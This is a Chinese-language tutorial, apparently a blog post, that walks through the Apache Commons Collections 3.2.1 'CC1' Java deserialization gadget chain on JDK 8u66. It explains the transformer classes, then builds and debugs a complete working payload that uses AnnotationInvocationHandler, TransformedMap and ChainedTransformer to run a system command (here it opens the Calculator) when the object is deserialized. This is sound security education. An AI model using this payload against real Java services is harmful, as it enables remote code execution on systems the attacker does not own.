1 你必须知道的点
1.1 反序列化利用链的起点是readObject()方法
Java的序列化机制允许将对象的状态保存到一个字节流中,之后可以从这个字节流中恢复(或“反序列化”)出对象。这个过程中,ObjectInputStream
类负责读取这些字节流,并尝试根据包含的类型信息重新创建对象。为了支持复杂对象和自定义类型,Java提供了自定义反序列化过程的能力,这通常通过重写readObject()
方法来实现。
也就是说我们可以通过在将要被序列化或反序列化的类中定义readObject方法,来实现自定义的反序列化操作,当然前提是,被序列化的类必须有此方法,并且方法的修饰符必须是private。
序列化则自定义writeObject方法。
当ObjectInputStream
读取到一个可序列化的对象时,如果该类定义了readObject()
方法,则会调用该方法来完成反序列化过程。因此,如果readObject()
方法中存在不安全或未经验证的代码(如直接反序列化用户控制的数据),那么就会执行内部的代码,那么它就可能成为反序列化利用链的起点。
一句话总结就是:如果一个类自定义了readObject()
方法,则该类在反序列化时就会调用该方法完成反序列化过程,如果该方法中存在“恶意代码”,也会执行。所以,自定义了readObject()
方法的类就是我们寻找的入口点。
反序列化利用链形象比喻一下~
eadObject为反序列化入口点。
些方法存在命令执行的可能性。
反序列化利用链就是需要将readObject及存在命令执行的方法联系在一起。
就像走迷宫,readObject为入口,存在命令执行的方法为出口,从入口到出口就形成了一条链(利用链)。
我们在找链的时候,就可以从两个方面找,从入口或者出口找,或者两头并进。
1.2 回顾反射执行系统命令
直接执行命令:
String[] command = {"open","-a","/System/Applications/Calculator.app/Contents/MacOS/Calculator"};
Runtime.getRuntime().exec(command);
反射执行命令:
Class clazz = Runtime.class;
Method getRuntime = clazz.getDeclaredMethod("getRuntime", null);
Runtime runtime = (Runtime)getRuntime.invoke(null, null);
runtime.exec("open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator");
1.3 相关类の功能简单介绍
提前了解下,后面分析时不晕!!
1.3.1 InvokerTransformer类
InvokerTransformer
类在实例化时,赋值iMethodName、iParamTypes和iArgs。使用
InvokerTransformer
对象调用transform()
方法,会以反射的方式执行任意方法。
举个例子:
InvokerTransformer invokerTransformer = new InvokerTransformer(
"exec",
new Class[]{String.class} ,
new Object[]{"open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Runtime runtime = Runtime.getRuntime();
invokerTransformer.transform(runtime);
上述内容,相当于执行了:
Runtime runtime = Runtime.getRuntime();
// invokerTransformer.transform()内部执行了
Class cls = runtime.getClass();
Method method = cls.getMethod("exec", new Class[]{String.class});
return method.invoke(runtime, new Object[]{"open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"});
会通过反射方式执行弹出计算器操作。
1.3.2 ChainedTransformer类
ChainedTransformer
类在实例化时,会传入Transformer[]
数组,并将值transformers
赋值给iTransformers
。使用
ChainedTransformer
对象调用transform()
方法,会挨个执行transformers
数组元素transformer
的transform()
方法,其参数为传入的object对象。也就是说,单独执行
transformer.transform()
和将transformer
放入数组中执行ChainedTransformer.transform()
效果是一样的。还有一个非常重要的点:每次循环获得的
object
会当做参数传给下一个transform()
,也就是数组中的transformer
是有前后联系的,不是单独的。
1.3.3 ConstantTransformer类
ConstantTransformer
类在实例化时,会传入一个对象赋值给iConstant
属性。当
ConstantTransformer
对象调用transform()
方法时,不管传入什么,都将返回一个固定的值,即实例化时传入的对象,即iConstant
属性值。
1.3.4 总结一下上述3个类调用transform()
方法的不同
上述3个类都实现了Transformer
接口,并都重写了transform()
方法,因此在调用transform()
方法时,会有不同的执行结果。
并且上述3个类都实现了Serializable
接口,可被序列化和反序列化。
InvokerTransformer.transform()
以反射方式执行任意方法
ChainedTransformer.transform()
遍历链内部的所有
Transformer
执行transform()
前一个执行
transform()
的结果当做后一个transform()
方法的参数传入
ConstantTransformer.transform()
返回固定值,值为构造方法传入的参数值
2 CC1链的环境准备
2.1 版本问题
CC1链主要利用的是Apache Commons Collections 3.2.1
版本中的一个反序列化漏洞。
CC1链在JDK 8u71及之后的版本中被修复,因此需要使用JDK 8u71之前的版本
。
JDK下载地址:https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html
这里选择了JDK 8u66
。
2.2 搭建项目
1)创建一个mevan项目,JDK选择8u66
2)pom.xml添加commons-collections 3.2.1
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
3)准备JDK源码,方便调试
下载地址:http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/af660750b2f4
下载解压之后将文件中的sun目录(具体路径为jdk-af660750b2f4\jdk-af660750b2f4\src\share\classes
)放入JDK 8u66的家目录下。
然后在项目中的SDKs中配置sun目录为Classpath,如图。
3 CC1链分析
3.1 InvokerTransformer#transform方法
先定位到InvokerTransformer#transform方法。
为什么要定位到这里?因为这个方法是CC1的执行恶意命令的位置。
前辈们怎么发现的这里?(猜测:)用的多了就发现了...(这里就是前面所说的迷宫的出口)。
可以发现transform
方法,接收一个Object参数,然后对该Object通过反射获取其类对象
,然后获取其方法对象
,之后invoke
调用该方法。涉及的核心代码为59-61行,如下:
这里明显就是通过反射调用传递进来的对象的某个方法来执行~
这里面涉及到几个参数
this.iMethodName
:反射使用的方法名(方法名)this.iParamTypes
:反射使用的方法的参数类型列表(参数类型)this.iArgs
:被调用方法的参数列表(参数值)
这几个参数都是this.开头的,所以是由该类InvokerTransformer
的构造函数赋予其值的。
找一下构造函数:
有了这些,我们就可以简单写一下利用代码:(来打开本地计算器)
InvokerTransformer invokerTransformer = new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"}
);
Runtime runtime = Runtime.getRuntime();
invokerTransformer.transform(runtime);
这里是可以执行命令的,但是这样还不行,因为我们最终需要找到readObject()
方法处,也就是反序列时执行readObject()
方法,进而自动执行transform()
方法才行。
也就是:后面的代码不能使用
invokerTransformer.transform(runtime);
方式调用transform
了。
接下来需要找一下哪个位置有调用transform()
方法:选中方法,右击-“Find Usages”可查看方法的调用情况
这里有个小坑:如果“Find Usages”查询不到,需要将commons-collections 3.2.1的sources包下载下来,如果下载不了,可以手动下载导入。
我们需要寻找不同名字调用的transform()
方法,如果是transform 再调用 transform 是没有意义的(无限循环了),因为我们最后的目标是要回到readObject()
中。
这里看到TransformedMap
中有部分方法调用了transform()
方法,点进去看一看,以checkSetValue
方法为例:
3.2 TransformedMap#checkSetValue方法
这里有两个问题需要解决:
1)
checkSetValue
方法是protected修饰的,无法直接调用,需要找到调用该方法的位置2)方法中是valueTransformer调用的
transform()
方法,所以需要知道valueTransformer怎么来的
也就是:如果能够调用
checkSetValue
方法,并且存在valueTransformer,transform()
会自动触发。
3.2.1 valueTransformer的获取
我们先解决第2个问题,找一下valueTransformer怎么来的:
Ctrl+左键找到valueTransformer的赋值位置
是TransformedMap的构造方法赋值的,但是该方法是protected修饰
问题又来了,既然是protected修饰的,那如何实例化TransformedMap的?这里肯定有别的方式调用了该构造方法(protected修饰:只有同一个包中的类可以访问)。那就找一下,在当前类中搜索一下
发现存在一个静态方法decorate()
实例化了TransformedMap,触发构造方法。
好!那么简单的流程就出来了:
调用decorate静态方法→TransformedMap实例化→触发TransformedMap构造方法→valueTransformer的赋值
接下来,看一下decorate()
方法的参数需要什么:1个Map,2个Transformer。
其中
decorate()
方法的第3个参数比较重要,因为第三个参数赋值给了this.valueTransformer,valueTransformer去调用了transform方法,这里和之前的代码联系起来,即之前写的invokerTransformer.transform(runtime);
能够触发执行恶意代码,因此这里第3个参数的值也就明了了,即传入invokerTransformer
,这样最终还会执行invokerTransformer.transform(runtime);
这段代码。map传递给了父类,跟下去会发现,不能为空,那就随便创建一个Map传进去。
第1个Transformer还不知道具体作用,先传入null,后面用到再说。
那我们可以将之前的利用代码修改如下:
InvokerTransformer invokerTransformer = new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"}
);
Runtime runtime = Runtime.getRuntime();
// invokerTransformer.transform(runtime); // 这里不能再用了(前面有原因介绍)
Map map = new HashMap();
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);
// 到此还不行,仅仅调用decorate只是给valueTransformer赋了值,transform还没有被触发
// 想触发transform,需要调用checkSetValue(由3.1中最后一张图可知)
问题:decorate
方法的第3个参数为什么传递要进入InvokerTransformer实例
?
第1:
decorate
方法的第3个参数为valueTransformer,valueTransformer的值是Transformer类型,而InvokerTransformer实现了Transformer接口,所以InvokerTransformer实例化出来的对象也属于Transformer类型,因此InvokerTransformer实例符合此处的类型。第2:第3个参数valueTransformer最终是调用了transform方法,即传入
InvokerTransformer
,会执行invokerTransformer.transform(runtime);
进而能够出发恶意代码
3.2.2 checkSetValue方法的调用
同样,回到TransformedMap
类,通过Find Usages查看一下checkSetValue方法的调用
只有一个结果,即在AbstractInputCheckedMapDecorator.MapEntry#setValue
中有调用
可以看到,要想控制checkSetValue()
方法的调用,需要控制setValue()
方法调用,包含value值的传入,并且需要一个“parent”。
setValue怎么调用?
传入的“value”是什么?
“parent”怎么获取?
3.2.2.1 传入的“value”是什么?
从前面的一路追溯下来,这个传入的“value”,最终会作为参数传递给transform()
方法。
传入的过程如下,这里用A代表该值
setValue(A)-->checkSetValue(A)-->transform(A)
所以这里还是传入runtime
,才能执行恶意代码。
3.2.2.2 setValue怎么调用?
这里有两个思路:
创建对象来调用
搜索setValue方法的调用栈
根据链子要求,第一种方式“创建对象来调用”不符合要求,因为这样不会涉及到readObject()。不过没关系,先用第一种方式试一下,目的是为了测试调用setValue()会不会触发最后的命令执行。
当然,答案是可以的!这部分也可以忽略不看,但建议看一下帮助理解。
1)创建对象的方式调用setValue()方法
先分析一下过程:
想调用checkSetValue方法,需要调用AbstractInputCheckedMapDecorator内部类MapEntry对象的setValue()方法;
需要有一个MapEntry对象,怎么得到这个对象?
通过搜索 new MapEntry,发现需要EntrySetIterator对象的next()方法
EntrySetIterator对象怎么来?实例化呗!
同样搜索new EntrySetIterator,发现需要EntrySet对象的iterator()方法
EntrySet对象怎么来?实例化呗!
同样搜索new EntrySet,发现需要AbstractInputCheckedMapDecorator对象的entrySet()方法
但是AbstractInputCheckedMapDecorator是抽象,无法实例化对象,因此需要找子类对象来调用该entrySet()方法(注意:不是子类重写的entrySet()方法,这是不一样的)。
Ctrl+左键点下AbstractInputCheckedMapDecorator类查看下:
发现这里有一个子类TransformedMap(前面遇到过)。
刚好,自己写的代码中已经得到了transformedMap,直接调用即可(注意:这里不是调用TransformedMap中的entrySet(),调的还是父类的,子类调父类)
调用transformedMap.entrySet()会得到EntrySet对象
再调用iterator()方法会得到EntrySetIterator对象
再调用next()方法会得到MapEntry对象
再调用setValue()方法即会触发checkSetValue()
方法的调用
InvokerTransformer invokerTransformer = new InvokerTransformer(
"exec",
new Class[]{String.class} ,
new Object[]{"open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Runtime runtime = Runtime.getRuntime();
HashMap map = new HashMap();
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
System.out.println(transformedMap.entrySet().getClass());
System.out.println(transformedMap.entrySet().iterator().getClass());
System.out.println(transformedMap.entrySet().iterator().next().getClass());
transformedMap.entrySet().iterator().next().setValue(runtime);
哦?45行报错了,原因其实很简单,因为transformedMap调用这些方法,其实是为了遍历传入的map的元素(TransformedMap.decorate(map, null, invokerTransformer)中的map)
而在next()时发现,没有元素,所以报错了,解决方法就是put一个元素即可。修改一下代码:
InvokerTransformer invokerTransformer = new InvokerTransformer(
"exec",
new Class[]{String.class} ,
new Object[]{"open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Runtime runtime = Runtime.getRuntime();
HashMap map = new HashMap();
map.put("key","value");
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
System.out.println(transformedMap.entrySet().getClass());
System.out.println(transformedMap.entrySet().iterator().getClass());
System.out.println(transformedMap.entrySet().iterator().next().getClass());
transformedMap.entrySet().iterator().next().setValue(runtime);
执行一下,发现可以成功执行到setValue(runtime),进而触发checkSetValue()
方法的调用,命令执行成功。
上面这个过程,可以使用for循环来代替(其实这里就是map的遍历过程)
InvokerTransformer invokerTransformer = new InvokerTransformer(
"exec",
new Class[]{String.class} ,
new Object[]{"open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Runtime runtime = Runtime.getRuntime();
HashMap map = new HashMap();
map.put("key","value");
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
// System.out.println(transformedMap.entrySet().getClass());
// System.out.println(transformedMap.entrySet().iterator().getClass());
// System.out.println(transformedMap.entrySet().iterator().next().getClass());
// transformedMap.entrySet().iterator().next().setValue(runtime);
// 上面这个过程,可以使用for循环来代替(其实这里就是map的遍历过程)
for (Map.Entry<Object, Object> entry : transformedMap.entrySet()) {
entry.setValue(runtime);
}
上面调用setValue是我们创建对象调的,但是还不行,咱们要找readObject,反序列化时自动调用 。
这里只是演示:调用setValue是可以执行命令的。
2)搜索setValue方法的调用栈
通过Find Usages查看一下setValue方法的调用
发现这里存在一个AnnotationInvocationHandler#readObject方法中有调用(当然还有其他的)。等等,readObject方法,并且是private修饰!?这不正式我们要找的“入口点”嘛!
也就是说,我们实例化一个AnnotationInvocationHandler对象,然后序列化之后得到字节流,然后反序列化就会执行readObject其中的代码,进而执行其中的setValue方法,形成闭环!
点进去看一下:
AnnotationInvocationHandler
的构造函数中需要两个参数,一个Annotation的类,一个Map。
什么是Annotation的类?
Annotation是注解,就是我们平时用的@Override、@Test、@Target这些,而为了通用性,我们用一个jdk自带的,比如@Override。
这个Map(memberValues)比较重要,由代码可知,memberValues内部的每一个entry会被遍历出来:memberValues.entrySet()
,并调用其setValue:memberValue.setValue()
。
但是Map和其每一个entry又有什么用?随意一个都行?还是必须是特定的?这里得说一下:
代码中
memberValue.setValue()
的setValue()
不就是前面分析的MapEntry
类中的setValue()
嘛;transformedMap.entrySet()
遍历之后,执行entry.setValue(runtime);
会执行恶意代码;而这里memberValues.entrySet()
遍历之后,执行memberValue.setValue()
。这里很明显格式是一样的。
也就是说,只需要让transformedMap
等于memberValues
就可以实现恶意代码执行。
怎么做呢?这里需要看一下memberValues
怎么赋值的:
可以看到,是通过AnnotationInvocationHandler
的构造函数赋值,所以在实例化AnnotationInvocationHandler
对象时,传入transformedMap
即可。
并且可以发现AnnotationInvocationHandler
类没有被修饰,即default类型,所以没办法通过名称来获取,只能通过反射获取。
因此,反射这个类的示例代码大概如下:
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Override.class, transformedMap);
将代码合并一下,得到:
@Test
public void test3() throws Exception {
InvokerTransformer invokerTransformer = new InvokerTransformer(
"exec",
new Class[]{String.class} ,
new Object[]{"open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Runtime runtime = Runtime.getRuntime();
HashMap map = new HashMap();
map.put("key","value");
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Override.class, transformedMap);
serialize(obj); // 序列化
unserialize("ser1.bin"); // 反序列化
}
//序列化方法
public static void serialize(Object object) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser1.bin"));
oos.writeObject(object);
}
//反序列化方法
public static void unserialize(String filename) throws Exception {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
}
上面加上了序列化和反序列测试代码,方便测试。
执行以下,发现并没有成功。
其实这里面还是有很多问题的,比如明面上可以看出来的:
runtime对象好像闲置了,并没有用上!
ok,不管runtime,先打个断点,调试一下~
在unserialize("ser1.bin")处打断点进去就行,主要看反序列化过程:
调试过程就不演示了,如果想看,后面有完整的调试过程。
在调试到AnnotationInvocationHandler类的readObject()
方法的if (memberType != null) 处时发现进不去if语句内部,那跟别提执行内部的setValue了。
什么原因呢?很明显,因为memberType为空!
接下来分析下memberType怎么来的:
从上面看到
memberType的值和下面三行代码有关
annotationType = AnnotationType.getInstance(type);
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
Class<?> memberType = memberTypes.get(name);
其中type参数是AnnotationInvocationHandler构造方法传进来的,这个不就是我们代码中反序列化创建AnnotationInvocationHandler对象时写的Override.class吗!
难道和Override有关?是的!这三个语句其实就是从注解之后获取对应的属性,如果有则会进if,没有则进不去。(这里先不进去调试看了,文章后面专门整一部分调试这段代码)
而这个@Override是没有的
那换个有的,比如@Target注解,其中有个value。
改写代码如下,只是在之前的基础上把Override.class修改成了Target.class
InvokerTransformer invokerTransformer = new InvokerTransformer(
"exec",
new Class[]{String.class} ,
new Object[]{"open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Runtime runtime = Runtime.getRuntime();
HashMap map = new HashMap();
map.put("key","value");
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance( Target.class , transformedMap);
serialize(obj);
unserialize("ser1.bin");
重新调试下,看是否可行,调试下来发现,还是不行,原来memberType还是为null
再分析下,原来上面语句是通过get(name)获取,而name是我们反射实例化AnnotationInvocationHandler对象时传入的map元素的key值,而我们执行的是map.put("key","value"),key值为“key”,而@Target注解中有名为“key”的属性吗?并没有,只有一个value。
所以解决方法也简单,map.put时放入一个key为“value”的即可,value任意,比如
map.put("value","I am leyilea!");
代码修改如下:
InvokerTransformer invokerTransformer = new InvokerTransformer(
"exec",
new Class[]{String.class} ,
new Object[]{"open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Runtime runtime = Runtime.getRuntime();
HashMap map = new HashMap();
map.put("value","I am leyilea!");
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Target.class, transformedMap);
serialize(obj);
unserialize("ser1.bin");
重新调试下,发现可以正常进入if语句,并且能够成功执行memberValue.setValue()
方法。
但是这里也有些问题,memberValue.setValue()
的参数是什么?我们在前面分析得知,memberValue.setValue()
需要传入runtime才行,即memberValue.setValue(runtime)
。
而这里setValue()
的参数为AnnotationTypeMismatchExceptionProxy类型对象,且不可控。
那runtime对象该怎么传进去呢?
并且还有另一个问题,大家有没有想过:(说的可能有点绕,好好理解下)
我们想传入的是 runtime对象,而我们现在是在进行反序列化的调试,想要runtime对象传递进去,肯定是在反序列化之前就进去了 ,也就是在生成对象的时候就放进去了。
那问题来了,即使我们在生成对象时放进去了,runtime对象也无法序列化,导致最终的对象也无法序列化!
所以,这个问题就是runtime对象无法被序列化!
这个其实好解决,runtime对象无法序列化,但是class可以序列化,所以可以使用反射:
Runtime没有实现Serializable
Class有实现Serializable
反射创建一个runtime对象:
// Runtime runtime = Runtime.getRuntime();
Class aClass = Runtime.class;
Method getRuntime = clazz.getDeclaredMethod("getRuntime", null);
Runtime runtime = (Runtime)getRuntime.invoke(null, null);
?????? 逗我呢??? 这不还是一个runtime,还是传不进去,即使传进去了,也无法序列化!
所以得有一个方式,将上述代码在AnnotationInvocationHandler
对象序列化的时候,执行生成runtime对象,而不是提前生成!!
怎么才能在AnnotationInvocationHandler
对象序列化的时候,执行上述代码呢?
还记得 InvokerTransformer 的transformer,它不就是能够执行任意方法嘛!然后返回一个invokerTransformer对象,传给TransformedMap.decorate()就能执行了 。
那我们可以将上述的代码改写一下:(忘记的可以回到前面看一下写法)
注意
Class aClass = Runtime.class
改写不了~
Class aClass = Runtime.class;
InvokerTransformer invokerTransformer1 = new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null});
Method getRuntime = (Method)invokerTransformer1.transform(aClass);
InvokerTransformer invokerTransformer2 = new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null});
Runtime runtime = (Runtime)invokerTransformer2.transform(getRuntime);
这???不还是这样??? 发现绕不开这个runtime 对象
那我直接执行呢?把exec 执行代码的InvokerTransformer加上
Class aClass = Runtime.class;
InvokerTransformer invokerTransformer1 = new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null});
Method getRuntime = (Method)invokerTransformer1.transform(aClass);
InvokerTransformer invokerTransformer2 = new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null});
Runtime runtime = (Runtime)invokerTransformer2.transform(getRuntime);
InvokerTransformer invokerTransformer = new InvokerTransformer(
"exec",
new Class[]{String.class} ,
new Object[]{"open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"});
invokerTransformer.transform(runtime);
上述这段代码,运行是可以执行命令的(注意:只有这段就行,不用带后面未展示的代码)
Ok!!! 运行可以执行命令,但是,这样也不行啊,transform不能自己调用啊,又回去了!!!
嘿嘿!这不就是之前的东西嘛,利用 TransformedMap.decorate!!
上面一共调用了三次 transform,难道这里调用3次 TransformedMap.decorate
没关系,有救!!! 有没有发现 前面的调用有一个规律,第1个的结果是 第2个的 参数,依次都是!!!!
这刚好符合 ChainedTransformer 链式调用的特点,刚好可以改成 ChainedTransformer方式 (忘记的,回去看一看) 。
改写下代码:
这里就不用执行transform()方法了,想执行也执行不了。
这里只是生成一下ChainedTransformer 链
Class aClass = Runtime.class;
// 先来一个 transforms数组,整理下代码
Transformer[] TransformerArray = new Transformer[]{
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer(
"exec",
new Class[]{String.class} ,
new Object[]{"open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
// 生成 ChainedTransformer 链
ChainedTransformer chainedTransformer = new ChainedTransformer(TransformerArray);
这里其实可以将chainedTransformer传进去,传进去之后,会调用chainedTransformer.transform() ,
这个时候,会调用ChainedTransformer的transform()方法,即遍历transform并执行不同transform的transform()方法。(ChainedTransformer类特点忘记的,回去看下咯)
OK ! 将TransformedMap.decorate(map, null, invokerTransformer)
修改成TransformedMap.decorate(map, null, chainedTransformer)
此时的完整代码是:
Class aClass = Runtime.class;
// 先来一个 transforms数组,整理下代码
Transformer[] TransformerArray = new Transformer[]{
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer(
"exec",
new Class[]{String.class} ,
new Object[]{"open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
// 生成 ChainedTransformer 链
ChainedTransformer chainedTransformer = new ChainedTransformer(TransformerArray);
HashMap map = new HashMap();
map.put("value","I am leyilea!");
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer );
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Target.class, transformedMap);
serialize(obj);
unserialize("ser1.bin");
结果还是不能执行代码,很明显,上面的aClass没有用到,它需要传递给TransformerArray第一个元素的transform()
方法当参数!
想这样做的话,需要有一个transform放到链中,并且输出结果必须是Runtime.class。
刚好有一个transform类:ConstantTransformer类,它的transform方法,可以返回一个常量,即构造ConstantTransformer对象时传入的值 。(ConstantTransformer类特点忘记的,回去看!)
OK ! 代码改写如下:
Transformer[] TransformerArray = new Transformer[]{
// 搞定!!!!!,其实这里还间接解决了 runtime对象无法传入的问题!后面调试时分析
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer(
"exec",
new Class[]{String.class} ,
new Object[]{"open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
// 生成 ChainedTransformer 链
ChainedTransformer chainedTransformer = new ChainedTransformer(TransformerArray);
HashMap map = new HashMap();
map.put("value","I am leyilea!");
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Target.class, transformedMap);
serialize(obj);
unserialize("ser1.bin");
反序列化时成功执行命令!
3.2.2.3 “parent”怎么获取?
在这里可以看到,parent
为MapEntry
类的构造方法传入,而MapEntry
类是static修饰的,为静态内部类。
那我们就看一下在哪个位置有实例化MapEntry
,直接Ctrl+左键看一下,有3个位置实例化了,
3个都看一下,发现最终都到了EntrySet类,而该类的实例化在entrySet
方法上。
这里实例化传入的this
就是前面所说的parent
,而this
表示的就是调用该entrySet
方法的对象,谁调用就是谁。
而要调用entrySet
方法,则需要一个AbstractInputCheckedMapDecorator
类的实例
但是我们发现,AbstractInputCheckedMapDecorator
类时抽象类(abstract修饰)。也就是说需要其子类实例化来调用了~
可以点击一下前面的“标识”看一下子类:
发现有一个“TransformedMap”,这好像又回去了!不过没关系!这不是刚刚好,TransformedMap
类的实例对象不正是前面所说的transformedMap
,具体参考之前写的代码,即下面这行:
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);
也就是说,使用transformedMap去调用entrySet
,this
就是transformedMap对象本身,也就是我们所找的parent
。
4 动态调试
4.1 进入反序列化readObject()
从objectInputStream.readObject()
开始进入反序列化
调用AbstractInputCheckedMapDecorator()
构造方法
并调用其父类AbstractMapDecorator()
构造方法
返回到AbstractInputCheckedMapDecorator()
调用TransformedMap
类的readObject()
方法
这里没什么,其中map为“value -> I am Leyilea!”
执行AnnotationInvocationHandler
类的readObject()
方法
readObject()
方法for循环前面的过程略过,不重要其中
memberValues
大小为1,内容为 put进入的HashMap:value
4.2 遍历TransformedMap(memberValues)
TransformedMap元素为HashMap:value-->I am leyilea!
这里和整个利用链关系不大,可以略过(其实就是map的遍历拿entry的过程)
调用AbstractInputCheckedMapDecorator
的entrySet()
方法
进入EnteySet()
构造函数
其中parent为TransformMap:value -> I am Leyilea!
结束回到AbstractInputCheckedMapDecorator
的entrySet()
方法return
调用AbstractInputCheckedMapDecorator
的子类MapEntry
的iterator()
方法
进入AbstractInputCheckedMapDecorator
的子类EntrySetIterator
的EntrySetIterator()
构造方法
进入父类AbstractIteratorDecorator
的AbstractIteratorDecorator()
构造方法
将HashMap对象的Entryitarator对象赋值给itarator
返回到AbstractInputCheckedMapDecorator
的子类EntrySetIterator
的EntrySetIterator()
构造方法
返回到AbstractInputCheckedMapDecorator
的子类MapEntry
的iterator()
方法
调用AbstractIteratorDecorator
类的hasNext()
方法
调用AbstractInputCheckedMapDecorator
的子类EntrySetIterator
的next()
方法
进入AbstractInputCheckedMapDecorator
的子类MapEntry
的MapEntry()
构造方法
进入父类AbstractMapEntryDecorator
的构造方法
赋值entry
返回到AbstractInputCheckedMapDecorator
的子类MapEntry
的MapEntry()
构造方法
返回到AbstractInputCheckedMapDecorator
的子类EntrySetIterator
的next()
方法
4.3 拿到TransformedMap(memberValues)的第一个entry后的代码
返回到AnnotationInvocationHandler
类的readObject()
方法的for循环内部
代码步骤如下
获取entry的key:value
通过key获取类型:注解类型
判断类型是不是为空
不为空进入
获取entry的key对应的值:I am Leyilea!
判断(value不是memberType的类型) 或者 (value是ExceptionProxy的实例)
进入
4.4 进入利用链触发点【核心逻辑】
4.4.1 memberValue.setValue()
执行memberValue.setValue()
memberValue为TransformedMap(memberValues)的第一个entry
进入AbstractInputCheckedMapDecorator
的子类MapEntry
的setValue()
方法
触发checkSetValue()
方法
4.4.2 checkSetValue()
进入TransformMap
的checkSetValue()
方法
其中传入的对象value为AnnotationTypeMismatchExceptionProxy对象(这个是无法控制的,不过不影响)
valueTransformer
为ChainedTransformer
,元素为4个,即1个ConstantTransformer、3个InvokerTransformer。
注意:不同的transformer会调用不同的**
transform()
**
4.4.3 ChainedTransformer.transform()
调用ChainedTransformer
的transform()
方法
4.4.3.1 ConstantTransformer.transform()
第1个ConstantTransformer.transform()
,
返回
class java.lang.Runtime
4.4.3.2 InvokerTransformer.transform()
第2个InvokerTransformer.transform()
参数为
class java.lang.Runtime
返回
public static java.lang.Runtime java.lang.Runtime.getRuntime()
4.4.3.3 InvokerTransformer.transform()
第3个InvokerTransformer.transform()
参数为
public static java.lang.Runtime java.lang.Runtime.getRuntime()
返回
Runtime对象
4.4.3.4 InvokerTransformer.transform()
第4个InvokerTransformer.transform()
参数为
Runtime对象
返回
UNIXProcess对象
4.4.3.5 代码执行
返回之后,弹计算器
返回到TransformedMap
的checkSetValue()
方法
返回到AbstractInputCheckedMapDecorator
的子类MapEntry
的setValue()
方法
返回到AbstractIteratorDecorator
的hasNext()
方法
返回到unserialize()
方法结束
5 总结
5.1 涉及的各个对象的属性值
反序列化的AnnotationInvocationHandler对象中存在很多其他对象,存储在不同对象的属性中,反序列时会被使用。
AnnotationInvocationHandler对象的属性Map<String, Object> memberValues的值为TransformedMap;
TransformedMap对象的属性Transformer valueTransformer的值为ChainedTransformer;
hainedTransformer对象的属性Transformer[] iTransformers的值为列表,元素有4个:1个ConstantTransformer、3个InvokerTransformer。
